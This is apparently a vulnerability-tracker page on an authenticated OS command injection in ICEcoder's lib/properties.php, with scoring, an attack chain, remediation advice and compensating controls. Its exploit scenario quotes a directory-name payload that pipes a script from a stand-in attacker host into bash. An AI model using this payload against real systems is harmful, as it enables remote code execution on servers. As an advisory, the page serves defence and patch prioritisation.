Skip to main content

ICEcoder CVE-2026-64837

| EUVDEUVD-2026-75454 HIGH
OS Command Injection (CWE-78)
2026-09-10 VulnCheck GHSA-32c3-7gmv-f9ch
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to ICEcoder with valid credentials
  2. Delivery
    Create directory with shell metacharacters in name
  3. Exploit
    Navigate to directory and invoke Properties function
  4. Execution
    lib/properties.php passes unescaped path to popen()
  5. Impact
    Shell executes injected OS commands as web-server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a valid ICEcoder login (low-privilege authenticated user, consistent with PR:L in the CVSS vector). The attacker must be able to create or name directories on the server's filesystem through the ICEcoder interface - a capability inherent to any user with write access in the editor. The vulnerability is triggered specifically by accessing the Properties function for a directory whose name contains shell metacharacters. No non-default configuration is required; the flaw exists in the standard code path of lib/properties.php. Exploitation is limited to the web-server user's OS privilege level; root access or secondary privilege escalation would require additional exploitation steps beyond this CVE.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) scores 8.7 and reflects the core risk accurately: network-accessible, low complexity, no special preconditions (AT:N), but requiring low-privilege authentication (PR:L), which materially limits the exposed attack surface compared to an unauthenticated flaw. The high C/I/A impact on the vulnerable system is consistent with arbitrary command execution as the web-server user. The scope change metrics (SC/SI/SA all N) are appropriate - exploitation stays within the web-server process boundary absent secondary privilege escalation. The absence of a KEV listing and no independently confirmed public exploit code (though a detailed advisory with source line references exists) keeps real-world urgency moderate. ICEcoder is a niche product with low enterprise deployment footprint, further reducing aggregate risk. The primary concern is for organizations that expose ICEcoder to any non-fully-trusted user, including internal developer teams with mixed trust levels, as any authenticated account suffices for exploitation.

Exploit ScenarioDerived

An authenticated ICEcoder user creates a directory named with embedded shell metacharacters - for example, a name containing '; curl attacker.com/shell.sh | bash #' - using the editor's file management interface. When the user (or an attacker) then accesses the Properties function for that directory, lib/properties.php passes the path unsanitized to popen(), causing the shell to execute the injected commands. The injected payload runs as the web-server user (e.g., www-data), enabling arbitrary file access, reverse shell establishment, or lateral movement within the server environment.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 10, 2026

OS command injection in ICEcoder through 8.1 allows authenticated low-privilege users to execute arbitrary operating system commands as the web-server user. The flaw resides in lib/properties.php (line 37), where a user-supplied filesystem directory path is passed without any shell metacharacter escaping into a popen() call. An attacker with ICEcoder login access can create a directory whose name embeds shell metacharacters, then invoke the Properties function to trigger command execution. No public exploit or CISA KEV listing is confirmed at time of analysis, but a detailed researcher advisory with source-code references is publicly available on GitHub.

RemediationAI

No vendor-released patch identified at time of analysis. The VulnCheck advisory (https://www.vulncheck.com/advisories/icecoder-through-8.1-os-command-injection-via-lib-properties-php) and the researcher advisory (https://github.com/Caycon/cve-advisories/blob/main/2026/ICEcoder/CVE-2026-64837.md) should be monitored for patch availability from the upstream repository. Until a fix is released, deployments should restrict ICEcoder access strictly to fully trusted users who already have equivalent OS-level access, effectively eliminating the privilege-escalation risk. Deploying ICEcoder behind authentication that prevents access by untrusted or external users is a critical compensating control. Administrators may also consider disabling or blocking access to the Properties function in lib/properties.php directly, though this degrades editor functionality. Running ICEcoder in a container or chroot with a minimal-privilege web-server user limits blast radius if exploitation occurs.

Affected VersionsENISA

ICEcoder 8.0 ≤8.1

Affected Packages

euvd icecoder no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

ICEcoder is a browser-based PHP code editor designed for in-browser development and file management. The vulnerable component is lib/properties.php, where the application retrieves filesystem metadata on user-specified directories. At line 37, the directory path - which is under user influence via the filesystem interface - is interpolated directly into a shell command string passed to PHP's popen() function, which invokes a system shell. Because no escaping or allowlisting of shell metacharacters (e.g., semicolons, backticks, pipes, dollar signs) is applied, a directory name containing these characters causes the shell to interpret the injected tokens as additional commands. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) describes this root cause precisely. The affected CPE is cpe:2.3:a:icecoder:icecoder:*:*:*:*:*:*:*:*, covering all versions up to and including 8.1 per EUVD data.

Know when Icecoder gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-accessible via browser, low complexity, requires low-privilege authentication; execution remains within web-server user context with no scope change.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

ICEcoder through 8.1 passes an unescaped filesystem path into a shell command in lib/properties.php, allowing authenticated users to inject OS commands through directory names. Attackers can create directories with shell metacharacters in their names and access the Properties function to execute arbitrary commands as the web-server user via popen().

Executive ViewAI

Why It Matters

ICEcoder web-based code editor versions 8.1 and earlier contain an authenticated command injection vulnerability (CVSS 8.7) that allows low-privilege developers to execute arbitrary operating system commands with web-server privileges. Organizations using ICEcoder for team development face risks of unauthorized code modification, data theft, and lateral network movement if compromised. Development teams relying on ICEcoder for remote editing should immediately restrict access and implement monitoring given the severity of command execution capabilities.

Business Impact: High
Compensating Controls

Restrict ICEcoder access to only essential, trusted developers and disable accounts for inactive users. Run ICEcoder under a dedicated least-privilege web-server user with minimal filesystem permissions and no unnecessary system command capabilities. Implement input validation at the application level to reject directory names containing shell metacharacters (;, |, &, $, `, etc.). Monitor all process execution from PHP and the web-server process for exploitation patterns. Apply network segmentation to limit lateral movement if the web-server account is compromised. If development workflow permits, disable ICEcoder in favor of an alternative platform pending patch availability.

Threat Intelligence Overview

EPSS Score
0.5%
Top 56% exploitable
Prevalence
Low
niche browser-based PHP code editor, limited enterprise adoption
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy